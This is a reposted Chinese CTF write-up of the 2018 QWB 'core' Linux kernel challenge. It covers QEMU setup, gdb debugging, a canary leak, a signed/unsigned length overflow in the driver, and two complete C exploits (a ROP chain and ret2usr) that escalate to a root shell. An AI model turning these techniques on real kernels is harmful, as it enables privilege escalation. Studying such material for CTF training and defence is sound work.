linux内核提取ret2usr,Linux kernel pwn:ROP & ret2usr

原标题:Linux kernel pwn:ROP & ret2usr

359cd86672b89fa29eac145490a5e332.png

本文为看雪论精华文章

看雪论坛作者ID:T1e9u

前言

这篇博文是我根据2018年强网杯的core题的利用姿势学习记录的,由于内核pwn相对于用户态的pwn来说复杂很多,而网上记载入门的博客都比较简略,所以这篇博文我会尽可能详细地记录,有错误的点希望师傅们斧正。

前置知识

内核pwn应该怎么pwn

与用户态的pwn不一样,内核pwn的漏洞一般是出现在驱动中,简单地说,驱动程序是一个内核程序,它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell。

不同于用户态的pwn,kernel pwn不再是用python远程链接打payload拿shell,而是给你一个环境包,下载后qemu本地起系统,flag文件就在这个虚拟系统里面,权限是root,因此拿flag的过程也是选手在自己的环境里完成,exploit往往也是C编写。所以,我们一般是写c程序去调用有漏洞的内核驱动,以便去拿到root权限。

proc_create函数

首先介绍一下proc文件系统,proc文件系统是一个虚拟文件系统,里面有许多的虚拟文件,创建一个proc虚拟文件,应用层通过读写该文件,即可实现与内核的交互。

而创建方法也就是proc_create函数:

staticinlinestructproc_dir_entry *proc_create( constchar*name, mode_t mode, structproc_dir_entry *parent, conststructfile_operations *proc_fops)。

name就是要创建的文件名,mode是文件的访问权限,以UGO的模式表示,parent与proc_mkdir中的parent类似,也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。

这里最重要的应该是我们的第三个参数fop,也就是file_operations。这里会涉及到内核中文件系统的一些东西,笔者目前也还没有学习,这里大致说一下我自己的理解:这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数,用于用户态与内核态的交流。

譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops),在我们的core_fops中定义了core_write函数,所以我们便可以利用open函数打开core这个文件:int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。

一般内核pwn的前置处理

以本题为例,给了bzImage:kernel映像;

core.cpio:文件系统映像;

start.sh:一个用于启动 kernel 的 shell 的脚本,多用qemu;

vmlinux:类比成用户态pwn中的libc文件。

解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。

关于bzImage与vmlinux的区别,详细可以参见该 文章。简单来说,bzImage是压缩过的镜像,而 vmlinux是未经压缩的镜像,也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux,可以通过extract-vmlinux, 提取命令:./extract-vmlinux ./bzImage > vmlinux。

关于start.sh,是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础 )。 对于本题,需要将该文件中第二行的-m 64M改成-m 128M,不然内存不够用启动不了。

qemu-system-x86_64

-m 64M

-kernel ./bzImage

-initrd ./core.cpio

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"

-s

-netdev user,id=t0, -device e1000,netdev=t0,id=nic0

-nographic

关于core.cpio的解压,可以参考一下:

mkdirfile

cp./core.cpio ./file/core.cpio.gz

cdfile

gunzip./core.cpio.gz

cpio-idmv < ./core.cpio

其实也可以在ubantu双击即可解压。

对于本例,解压后的文件夹中有个有一个init文件,用于启动内核后初始化,查看一下:

#!/bin/sh

mount-t proc proc /proc

mount-t sysfs sysfs /sys

mount-t devtmpfs none /dev

/sbin/mdev-s

mkdir-p /dev/pts

mount-vt devpts -o gid=4,mode=620 none /dev/pts

chmod666 /dev/ptmx

cat/proc/kallsyms > /tmp/kallsyms

echo1 > /proc/sys/kernel/kptr_restrict

echo1 > /proc/sys/kernel/dmesg_restrict

ifconfigeth0 up

udhcpc-i eth0

ifconfigeth0 10.0.2.15 netmask 255.255.255.0

routeadd default gw 10.0.2.2

insmod/core.ko

poweroff-d 120 -f &

setsid/bin/cttyhack setuidgid 1000 /bin/sh

echo'sh end!n'

umount/proc

umount/sys

poweroff-d 0 -f

对于echo 1 > /proc/sys/kernel/kptr_restrict中的kptr_restrict,通过 kptr_restrict 来控制/proc/kallsyms 是否显示symbol的地址,也就是函数的地址。echo 1 > /proc/sys/kernel/kptr_restrict,则不能通过/proc/kallsyms查看内核符号的地址了,但是这里有cat /proc/kallsyms > /tmp/kallsyms,所以可以在/tmp/kallsyms看到,没什么影响。

对于echo 1 > /proc/sys/kernel/dmesg_restrict,这个参数是不让非 root 用户读取 dmesg 的输出信息的,dmesg包括开机信息等一些消息(对于本题似乎没有什么影响 )。

动态调试

一般内核题中,都会有qemu模拟运行,然后利用gdb远程调试。方法如下:

一、在我们的start.sh中添加-gdb tcp::ip或者-s(-gdb tcp::1234的简写)

e111c69da27e11704e54ab2ac933e592.png

二、gdb中输入target remote:ip即可

487fc509c3592f9502faca4b826ccb81.png

三、加载符号表,像本题中的vmlinux,直接利用file ./vmlinux即可。

四、加载驱动,add-symbolfile core.ko textAddr,而textAddr是指core.ko装载进内核空间后的.text段地址(其实就是装载基址)。可以利用root用户'cat /sys/module/core/sections/.text'查看。

941362ca9280d0526de4c1228226623e.png

(注:上图我是用root用户查看的)

漏洞分析

直接拉进ida查看漏洞。

首先看到这是一个虚拟文件注册函数,注册了core文件:

8b69a0666d5186d5f8646764eddc3c5d.png

它的fop有:

da29427baf2bad7b2e5b09f801163796.png

然后查看我们的core_read函数:

09cdc466cf3362eefe869418fba1333c.png

发现这里存在漏洞,可以通过设置off的值来泄露canary等信息。

再查看我们的core_ioctl函数,发现这里可以设置我们的off,从而leak出有用的信息:

534864cf45a8f32b35d808433346e39c.png

这里的漏洞点不太容易注意到,这里的函数参数a1即输入是八字节的有符号整数,而在qmemcpy函数中则是双字节的无符号整数,所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值,超长复制即可溢出。

666b794124b2fe3087b7c3329705e14b.png

然后再查看我们的core_write函数:

89bafb62352a2f6dca991e7e000b3b6f.png

发现我们的write函数可以往我们的name里面写进东西,所以可以在这里写进我们的ROP链。

一些信息的获取

gadget的获取

由于要构造ROP链,所以我们肯定要gadget。获取gadget可以通过ROPgadget和Ropper。

这里说一下ROPgadget和Ropper如何获取我们所需要的gadget:

ROPgadget--binary ./vmlinux > gadget #把可用的gadget取进我们的gadget文件

ropper --file ./vmlinux --nocolor > gadget #把可用的gadget 取进我们的gadget文件

然后再可以用grep筛选我们希望的gadget

内核基地址的获取

因为提权需要用到我们的commit_creds、prapare_kernel_cred内核函数。所以我们需要找到我们的内核基地址。

首先找到这两个函数在vmlinux的偏移:

from pwn import*

elf = ELF( './core/vmlinux')

print"commit_creds",hex(elf.symbols[ 'commit_creds'] -0xffffffff81000000)

print"prepare_kernel_cred",hex(elf.symbols[ 'prepare_kernel_cred'] -0xffffffff81000000)

656eac79cf853b0366db059e6346a5b7.png

然后在qemu里查看/proc/kallsyms中的 commit_creds 函数地址:

2abfcf34ea592f6c6fa39d4ec972d282.png

两者相减即可获得我们的内核加载基地址。

EXP以及分析

本题有两个利用姿势,这里分别分析。

方法一:ROP

获取 commit_creds,prepare_kernel_cred 的地址:/tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址。

通过 ioctl 设置 off,然后通过 core_read leak 出 canary

通过 core_write 向 name 写,构造 ropchain

通过 core_copy_func 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop

通过 rop 执行 commit_creds(prepare_kernel_cred(0))

返回用户态,通过 system("/bin/sh") 等起 shell

具体EXP引用于孙小空师兄:

//sunxiaokong

//gcc -static -masm=intel -g -o my_exp my_exp.c

# include

# include

# include

# include

# include

# include

# include

# include

# defineINS_SET_OFF 0x6677889C

# defineINS_READ 0x6677889B

# defineINS_COPY_FUNC 0x6677889A

intget_kernel_addr;

voidget_usr_regs;

voidshell;

size_tcanary = 0; // value of canary

size_tcommit_creds= 0, prepare_kernel_cred= 0; // kernel function addr

size_toff; // offset of kaslr

size_tvmlinux_base; // base addr of vmlinux

size_trop_chain[ 100] = { 0}; // rop chain

size_tusr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode

intmain{

get_usr_regs;

get_kernel_addr;

intfd = open( "/proc/core", O_RDWR);

if(fd < 0){

puts( "[T.T] open file error !!!");

exit( 0);

}

ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40

char*buf_leak = ( char*) malloc( 0x40); // buffer of leak data

ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack

canary = *( size_t*)buf_leak;

printf( "[^.^] canary : 0x%lxn", canary);

inti;

for(i= 0; i< 10; i++){

rop_chain[i] = canary;

}

rop_chain[i++] = 0xffffffff81000b2f+ off; // pop rdi ; ret

rop_chain[i++] = 0;

rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop_chain[i++] = 0xffffffff810a0f49+ off; // pop rdx ; ret

rop_chain[i++] = commit_creds;

rop_chain[i++] = 0xffffffff8106a6d2+ off; // mov rdi, rax ; jmp rdx

rop_chain[i++] = 0xffffffff81a012da+ off; // swapgs ; popfq ; ret

rop_chain[i++] = 0;

rop_chain[i++] = 0xffffffff81050ac2+ off; // iretq; ret;

rop_chain[i++] = ( size_t)shell; // rip

rop_chain[i++] = usr_cs; // cs

rop_chain[i++] = usr_rflags; // rflags

rop_chain[i++] = usr_rsp; // rsp

rop_chain[i++] = usr_ss; // ss

write(fd, rop_chain, 0X800); // write payload to "name"

ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000| ( 0x100)); // stack overflow

}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */

intget_kernel_addr{

char*buf = ( char*) malloc( 0x50);

FILE *kallsyms = fopen( "/tmp/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){

// fgets:read one line at one time

if( strstr(buf, "prepare_kernel_cred")){

sscanf(buf, "%lx", &prepare_kernel_cred);

printf( "[^.^] prepare_kernel_cred : 0x%lxn", prepare_kernel_cred);

}

if( strstr(buf, "commit_creds")){

sscanf(buf, "%lx", &commit_creds);

printf( "[^.^] commit_creds : 0x%lxn", commit_creds);

off = commit_creds - 0xffffffff8109c8e0;

vmlinux_base = 0xffffffff81000000+ off;

printf( "[^.^] offset : 0x%lxn", off);

printf( "[^.^] vmlinux base : 0x%lxn", vmlinux_base);

}

if(commit_creds && prepare_kernel_cred){

return0;

}

}

}

/* save some regs of user mode */

voidget_usr_regs{

__asm__(

"mov usr_cs, cs;"

"mov usr_ss, ss;"

"mov usr_rsp, rsp;"

"pushfq;"

"pop usr_rflags;"

);

printf( "[^.^] save regs of user mode, done !!!n");

}

/* run a root shell */

voidshell{

if(!getuid)

{

system( "/bin/sh");

}

else

{

puts( "[T.T] privilege escalation failed !!!");

}

exit( 0);

}

/*

ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi

0xffffffff81000b2f : pop rdi ; ret

ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"

0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx

ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx

0xffffffff810a0f49 : pop rdx ; ret

ROPgadget --binary ./vmlinux | grep swapgs

0xffffffff81a012da : swapgs ; popfq ; ret

ropper -f ./vmlinux > ./gadget.txt

cat ./gadget.txt | grep iretq

0xffffffff81050ac2: iretq; ret;

*/

EXP具体解析

canary的获取

这里简单说一下如何设置off的值,从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值:

98ec0c0fcc51d49126e49976fbe866b0.png

可以看到,在ida中,v5是设置在我们的rbp-0x50,所以rbp-0x48的位置应该就是我们的canary。但是,像大家所说的,ida中的显示有时候是会有bug的,经过实际调试,我发现实际偏移并不是0x48:

dfe51c4f922273c0ba052ece6300a64f.png

997fac67463462001f5e36c7ec1991d0.png

从这里看出我们的canary的实际偏移是0x40,当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数(要现在gdb调试,设置断点在我们的core_read函数),然后单步步入到我们copy_to_user函数,即验证我们成功leak出canary了:

df186d3ba56778a3dbd9318f409863ee.png

fccbfe0af33e0a337a18b3fbe7631d15.png

上面EXP中leak canary的时候,设置off为0x40。

基地址的leak

这里的基地址包括内核的基地址以及我们的core这个驱动的基地址。关于内核基地址的寻找上面已经说明,而对于驱动的加载地址,可以直接在我们/tmp/kallsyms查询即可。

用户态寄存器保存

通过 swapgs 恢复 GS 值。

会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。

其中,rip的值,可以直接用我们EXP中写好的跑shell的地址,这样回到用户态后就直接跑shell了。而cs、标志寄存器、rsp、ss都需要合法的值,因此可以在EXP中先将当前用户态的值保存下来,在ROP链中直接用这些值就可以了:

__asm__(

"mov usr_cs, cs;"

"mov usr_ss, ss;"

"mov usr_rsp, rsp;"

"pushfq;"//标志寄存器值入栈

"pop usr_rflags;"

);

ROP链的构造

先要构造commit_creds(prepare_kernel_cred(0))提权,然后将用户态的寄存器给赋合法值。

for(i= 0; i< 10; i++){

rop_chain[i] = canary;

}

rop_chain[i++] = 0xffffffff81000b2f+ off; // pop rdi ; ret

rop_chain[i++] = 0;

rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop_chain[i++] = 0xffffffff810a0f49 + off; // pop rdx ; ret

rop_chain[i++] = commit_creds;

rop_chain[i++] = 0xffffffff8106a6d2 + off; // mov rdi, rax ; jmp rdx

rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret

rop_chain[i++] = 0;

rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;

rop_chain[i++] = (size_t)shell; // rip

rop_chain[i++] = usr_cs; // cs

rop_chain[i++] = usr_rflags; // rflags

rop_chain[i++] = usr_rsp; // rsp

rop_chain[i++] = usr_ss; // ss

方法二:ret2user

这里先说一下ret2user的原理:ret2usr 攻击利用了在没有开启SMEP(管理模式执行保护)的情况下,内核态CPU是可以访问执行用户空间的代码的。

用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。

这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。

最终EXP:

//sunxiaokong

//gcc -static -masm=intel -g -o my_exp2 my_exp2.c

# include

# include

# include

# include

# include

# include

# include

# include

# defineINS_SET_OFF 0x6677889C

# defineINS_READ 0x6677889B

# defineINS_COPY_FUNC 0x6677889A

intget_kernel_addr;

voidget_usr_regs;

voidprivilege_escalation;

voidshell;

size_tcanary = 0; // value of canary

size_tcommit_creds= 0, prepare_kernel_cred= 0; // kernel function addr

size_toff; // offset of kaslr

size_tvmlinux_base; // base addr of vmlinux

size_trop_chain[ 100] = { 0}; // rop chain

size_tusr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode

intmain{

get_usr_regs;

get_kernel_addr;

intfd = open( "/proc/core", O_RDWR);

if(fd < 0){

puts( "[T.T] open file error !!!");

exit( 0);

}

ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40

char*buf_leak = ( char*) malloc( 0x40); // buffer of leak data

ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack

canary = *( size_t*)buf_leak;

printf( "[^.^] canary : 0x%lxn", canary);

inti;

for(i= 0; i< 10; i++){

rop_chain[i] = canary;

}

rop_chain[i++] = ( size_t)privilege_escalation;

rop_chain[i++] = 0xffffffff81a012da+ off; // swapgs ; popfq ; ret

rop_chain[i++] = 0;

rop_chain[i++] = 0xffffffff81050ac2+ off; // iretq; ret;

rop_chain[i++] = ( size_t)shell; // rip

rop_chain[i++] = usr_cs; // cs

rop_chain[i++] = usr_rflags; // rflags

rop_chain[i++] = usr_rsp; // rsp

rop_chain[i++] = usr_ss; // ss

write(fd, rop_chain, 0X800); // write payload to "name"

ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000| ( 0x100)); // stack overflow

}

/* save some regs of user mode */

voidget_usr_regs{

__asm__(

"mov usr_cs, cs;"

"mov usr_ss, ss;"

"mov usr_rsp, rsp;"

"pushfq;"

"pop usr_rflags;"

);

printf( "[^.^] save regs of user mode, done !!!n");

}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */

intget_kernel_addr{

char*buf = ( char*) malloc( 0x50);

FILE *kallsyms = fopen( "/tmp/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){

// fgets:read one line at one time

if( strstr(buf, "prepare_kernel_cred")){

sscanf(buf, "%lx", &prepare_kernel_cred);

printf( "[^.^] prepare_kernel_cred : 0x%lxn", prepare_kernel_cred);

}

if( strstr(buf, "commit_creds")){

sscanf(buf, "%lx", &commit_creds);

printf( "[^.^] commit_creds : 0x%lxn", commit_creds);

off = commit_creds - 0xffffffff8109c8e0;

vmlinux_base = 0xffffffff81000000+ off;

printf( "[^.^] offset : 0x%lxn", off);

printf( "[^.^] vmlinux base : 0x%lxn", vmlinux_base);

}

if(commit_creds && prepare_kernel_cred){

return0;

}

}

}

/* commit_creds(prepare_kernel_cred(0)) */

voidprivilege_escalation{

if(commit_creds && prepare_kernel_cred){

(*(( void(*)( char*))commit_creds))(

(*(( char* (*)( int))prepare_kernel_cred))( 0)

);

}

}

/* run a root shell */

voidshell{

if(!getuid)

{

system( "/bin/sh");

}

else

{

puts( "[T.T] privilege escalation failed !!!");

}

exit( 0);

}

总结

这是我入门Linux kernel pwn的一道题,所以这里尽可能详细的记录下来。虽然这道题很简单,但是自己也花了好几天去磕,但是感觉真的是受益匪浅吧!

之前就说过,目前的学习方向是iot,但是实际上,现在还没有学多少内容。所以,现在的计划是,尽量在这两周学完内核pwn的几个姿势,应该还有UAF,Double fetch等。

然后接下来就是把重心放回到iot研究上,顺带还会学堆的骚操作(看最近几个比赛的WP,发现堆真的好多骚操作,好想去学),然后还会学习操作系统,以及数据库和密码学等课堂知识。

害,总之就是想学的东西很多,但是自己的效率不高。所以说,目前的重点是要提高自己的效率!

参考

http://p4nda.top/2018/07/13/ciscn2018-core/

b2e6166e3f6f0fb5ce4671af88feafc9.png

看雪ID:T1e9u

获奖名单公示

在上周五的转发有奖活动中,有两位朋友在朋友圈成功集齐30赞,获得看雪送出的精选好书。恭喜两位小伙伴!

请两位加工作人员微信kanxuecom发送您的收件信息,我们将寄出您的图书哦~

332a01766e5dcc0fadf83db28f7d8799.png

c146dbc1ea919685ba62d675c1fe452a.png

好消息!!现在看雪《安卓高级研修班》线下班 & 网课(12月班)开始同步招生 啦!以前没报上高研班的小伙伴赶快抓紧机会报名,升职加薪唾手可得!!

戳“阅读原文 ”一起来充电吧!返回搜狐,查看更多

责任编辑:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值